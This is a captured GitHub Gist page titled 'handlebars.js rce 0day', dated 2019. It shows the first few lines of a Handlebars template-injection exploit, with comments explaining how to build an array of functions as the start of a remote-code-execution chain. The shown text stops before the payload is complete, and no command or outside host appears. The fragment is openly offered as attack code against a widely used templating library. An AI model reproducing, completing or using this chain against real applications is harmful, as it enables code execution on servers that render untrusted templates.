Skip to content

Instantly share code, notes, and snippets.

View terjanq's full-sized avatar


View GitHub Profile
itszn / 0day.handlebars
Created September 16, 2019 00:59
handlebars.js rce 0day
//First we want to create an array
{{#with "a" as |str|}}
{{#with split as |list|}}
//Store some function that returns a truthy value into the array
//We use arrays to hold functions because handlebars will call functions
{{this.push this.toString}}